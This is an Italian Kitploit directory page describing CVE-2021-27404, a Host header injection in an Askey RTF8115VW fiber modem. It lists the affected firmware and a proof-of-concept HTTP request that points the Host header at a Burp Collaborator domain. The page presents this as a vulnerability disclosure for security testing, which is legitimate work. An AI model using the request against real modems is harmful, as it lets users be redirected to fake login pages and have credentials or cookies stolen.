Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-27404 — HostHeaderInjection-Askey | Kitploit
Strumenti/GitHubGitHub/bokanrb/cve-2021-27404
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPhishingSicurezza WebPenetration Testing
GitHubbokanrb/cve-2021-27404

CVE-2021-27404

HostHeaderInjection-Askey

Vedi Repository
315 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Iniezione dell'Intestazione Host Autenticata - Modem Fiber Internet Askey

Fornitore: Askey
Versione software: BR_SV_g11.11_RTF_TEF001_V6.54_V014
Modello: RTF8115VW
Intestazione vulnerabile: Host
Non testato su altri modelli/versioni.

Impatto: Un attaccante potrebbe sfruttare questa vulnerabilità per reindirizzare l'utente verso una pagina di login falsa al fine di estrarre le sue credenziali o cookie.

La richiesta finale

root@kitploit:~
GET / HTTP/1.1
Host: kay4tb35bh55y38n8h4teim21t7jv8.burpcollaborator.net
Cookie: _httpdSessionId_=7924107467ea5838a196b65306ca7236
Upgrade-Insecure-Requests: 1
Referer: http://x.x.x.x/cgi-bin/te_logout.cgi
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Connection: close
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate

Testo alternativo

Scarica lo strumento